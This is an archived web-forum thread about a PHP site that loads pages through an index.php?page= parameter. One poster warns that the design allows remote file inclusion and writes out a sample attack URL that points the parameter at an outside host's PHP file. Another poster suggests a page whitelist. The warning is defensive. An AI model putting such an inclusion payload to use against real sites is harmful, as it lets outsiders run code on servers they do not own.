The SitePoint Forums have moved.

You can now find them here.
This forum is now closed to new posts, but you can browse existing content.
You can find out more information about the move and how to open a new account (if necessary) here.
If you get stuck you can get support by emailing forums@sitepoint.com

If this is your first visit, be sure to
check out the FAQ by clicking the
link above. You may have to register
before you can post: click the register link above to proceed. To start viewing messages,
select the forum that you want to visit from the selection below.

That did nothing. I've got a good idea. How about you post your exact coding for your test, and I'll see if it works, ok? That could work better, cause if your example doesn't work on my server, then it's obviously not the coding that is wrong, right? Please post your example's coding.

This is a long thread and I wasn't able to follow it,
but dragonfly is using php version 4.0.6....
(dragonfly it that's not true please correct me,
but I remember I asked that to you sometimes ago and also doing a netcraft to your website still show 4.0.6 )
That's the reason why he can't access _SERVER, _GET stuffs.
I can't remember how to access "get" variables under that php version, but php gurus will help you on that.

Hey Dragonfly,
what happen if my server is www.example.com ( your server is www.example.net] ) and my server does not parse .php

If I call your script using:
www.example.net/index.php?page=http://www.example.com/bad-guy
then my file
http://www.example.com/bad-guy.php
will be interpreted in your server and that could do serious damages.

Okay, remote-include must be enabled...
BTW,
I'd suggest another approach.

1. All pages load from index.php?page=
2. index.php loads default.php as the default page.
3. If a page exists but is not in the page list, it will show up as "Missing".
4. If a page is missing, and is called through index.php?page= you will get a default "Missing.php" page.
5. Pages that are in the list load correctly under index.php?page=page

Only problem is, what if my site gets to 100 pages. Will that increase page loading time, or will it still work fine?